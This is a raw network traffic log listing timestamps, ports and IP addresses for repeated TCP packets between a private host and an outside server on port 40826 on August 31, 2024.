Aug 31, 2024 18:37:02.314717054 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314726114 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314733982 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314742088 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314752102 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314759970 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314769030 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314776897 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314785957 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314794064 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314800978 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314838886 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.314846992 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315064907 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315073013 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315079927 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315088034 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315094948 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315103054 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315109968 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315118074 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315181971 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315190077 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315197945 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315207005 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315213919 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315222025 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315228939 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315237045 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315244913 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315252066 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315258026 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315265894 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315274000 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315282106 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315293074 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315300941 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315438032 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315448046 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315454960 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315463066 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315470934 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315478086 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315485954 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315495014 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315610886 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315619946 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315628052 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315635920 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315643072 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315650940 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315659046 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315665960 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315674067 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315681934 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315690041 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315696955 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315742016 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315792084 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315800905 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315809011 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315913916 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315922022 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315931082 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315933943 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.315989017 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316096067 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316104889 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316134930 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316143036 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316150904 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316159010 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316168070 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316175938 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316184044 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316200018 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316207886 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316215038 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316385031 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316395998 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316406012 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316417933 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316427946 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316437006 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316443920 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316451073 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316458941 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316514969 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316570044 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316579103 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316586971 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316590071 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316632032 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316639900 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316648960 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316658020 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316665888 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316694975 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316704035 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316710949 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.316720963 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.317920923 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.317970037 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.317981005 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.317990065 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318003893 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318012953 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318021059 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318028927 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318043947 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318052053 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318059921 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318089008 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318216085 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318226099 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318238974 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318248987 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318258047 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318264961 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318274975 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318448067 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318456888 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318465948 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318470955 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318480968 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318491936 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318501949 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318514109 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318521976 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318530083 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318536997 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318543911 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318552017 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318559885 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318577051 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318583965 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318592072 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318598986 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318608046 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318614960 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318623066 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318633080 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318641901 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318698883 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318707943 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318716049 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318726063 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318734884 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318742990 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318752050 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318763018 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318782091 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318789005 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318797112 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318804979 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318855047 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318864107 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318871021 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318878889 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.318886042 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319061041 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319070101 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319077015 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319084883 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319092035 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319101095 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319108963 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319117069 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319124937 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319132090 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319139957 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319149017 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319156885 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319164038 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319170952 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319266081 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319274902 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319283009 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319289923 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319297075 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319304943 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319312096 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319319963 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319328070 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319339991 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319411039 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319421053 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319428921 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319436073 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319443941 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319447041 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319453955 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319462061 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319469929 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319478035 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319485903 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319493055 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319500923 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319509983 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319516897 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319525003 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319533110 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319540977 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319547892 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319555044 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319634914 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319643021 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319650888 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319658041 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319664955 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319672108 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319679976 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319686890 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319694042 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319701910 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319766045 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319773912 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319782972 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319791079 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319798946 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319806099 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319873095 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319883108 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319890022 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319897890 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319905996 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319912910 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319920063 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.319927931 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320044994 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320053101 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320060015 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320066929 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320074081 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320081949 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320090055 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320099115 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320111036 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320121050 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320131063 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320141077 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320148945 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320156097 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320256948 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320269108 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320276022 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320280075 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320281982 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320290089 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320292950 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320301056 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320312977 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320322990 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320331097 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320338964 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320524931 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320533991 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320540905 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320549011 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320554972 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320563078 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320569992 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320576906 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320638895 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320647001 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320653915 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320662022 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320668936 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320676088 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320683002 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320692062 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320699930 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320929050 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320938110 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320945978 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320954084 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320961952 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320970058 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320977926 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320986032 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.320993900 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321002007 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321010113 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321017981 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321024895 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321033001 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321041107 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321134090 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321142912 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321146965 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321154118 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321161985 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321170092 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321177959 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321185112 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321362972 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.321372032 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:02.364329100 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.507870913 CEST	40826	49701	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.510021925 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.519841909 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.523025990 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.523591042 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.528456926 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.554490089 CEST	49701	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.901472092 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.906600952 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.906708002 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.906760931 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.906781912 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.906790018 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.906821966 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.906846046 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.906848907 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.906883955 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.906897068 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.906923056 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.906944990 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.906966925 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.906994104 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.907038927 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.907049894 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.910792112 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.911900043 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:03.911957979 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:03.911993980 CEST	40826	49702	207.32.219.79	192.168.2.6
